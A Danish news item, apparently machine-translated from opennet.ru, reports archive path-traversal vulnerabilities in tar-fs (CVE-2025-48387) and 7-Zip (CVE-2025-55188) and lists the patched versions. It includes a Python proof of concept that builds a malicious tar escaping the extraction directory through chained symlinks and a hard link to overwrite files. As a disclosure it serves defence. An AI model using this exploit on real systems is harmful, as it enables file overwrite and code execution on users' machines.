Sårbarheder i tar-fs og 7-Zip, der muliggør skrivefiler uden for basisbiblioteket

I NPM-pakken tar-fs er der identificeret en sårbarhed (CVE-2025-48387), der tillader, at ved udpakning af en specielt udformet tar-arkiv kan filer skrives til vilkårlige steder i filsystemet uden begrænsning til den katalog, hvorudpakningen finder sted (i henhold til de tilladelser, den nuværende bruger har). Sårbarheden kan også bruges til at overskrive eksisterende filer; for eksempel kan filer som «.ssh/id_rsa» eller «.bashrc» i brugerens hjemmekatalog blive overskrevet for at muliggøre udførelsen af ondsindet kode i systemet.

Problemet er blevet tildelt et kritisk fare-niveau, især da pakken tar-fs har 23 millioner downloads om ugen og anvendes som afhængighed i 1155 projekter. Sårbarheden er blevet rettet i versionerne 3.0.9, 2.1.3 og 1.16.5, som blev frigivet i maj, men informationen om sårbarheden blev først offentliggjort næsten tre måneder senere.

Sårbarheden er forårsaget af utilstrækkelige kontroller af de symbolske og hårde links, der findes i arkivet, for at sikre, at de ikke går ud over det mål-katalog, der anvendes til udpakning. To symbolske links anvendes til at omgå kontrollerne: den første peger på rodkataloget for udpakningen («.»), og den anden opbygges relativt til den første symbolske link og bruger tegnene «.. /» i sit navn for at gå uden for grundkataloget. For eksempel peger den første link «noop/noop/noop» på «.», mens den anden link «noop/noop/noop/.. /.. /.. /» bliver udvidet til «./.. /.. /.. /». For at muliggøre overskrivning af filer i arkivet kan der oprettes et hårdt link, der henviser til en ekstern fil relativt til den anden symbolske link. import tarfile import io with tarfile.open(«poc.tar», mode=»x») as tar: root = tarfile.TarInfo(«root») root.linkname = («noop/» * 15) + («.. /» * 15) root.type = tarfile.SYMTYPE tar.addfile(root) noop = tarfile.TarInfo(«noop») noop.linkname = «.» noop.type = tarfile.SYMTYPE tar.addfile(noop) hard = tarfile.TarInfo(«hardflag») hard.linkname = «root/home/username/flag/flag» hard.type = tarfile.LNKTYPE tar.addfile(hard) content = b»overwrite\n» overwrite = tarfile.TarInfo(«hardflag») overwrite.size = len(content) overwrite.type = tarfile.REGTYPE tar.addfile(overwrite, fileobj=io.BytesIO(content)) content = b»new!\n» newfile = tarfile.TarInfo(«root/home/username/flag/newfile») newfile.size = len(content) newfile.type = tarfile.REGTYPE tar.addfile(newfile, fileobj=io.BytesIO(content))

En lignende sårbarhed (CVE-2025-55188) er blevet opdaget i arkiveringsværktøjet 7-Zip. Symbolske links med sekvensen «..\/» i filstien kan også bruges til at skrive filer uden for grundkataloget i 7-Zip. Problemet kan udnyttes ved udpakning af enhver arkivtype, der understøtter symbolske links, såsom zip, tar, 7z og rar, ved hjælp af 7-Zip. Problemet er blevet løst i version 7-Zip 25.01.

Kilde: opennet.ru

Køb pålidelig webhosting med DDoS-beskyttelse, VPS VDS-servere 🔥 Køb pålidelig webhosting med DDoS-beskyttelse, VPS VDS-servere | ProHoster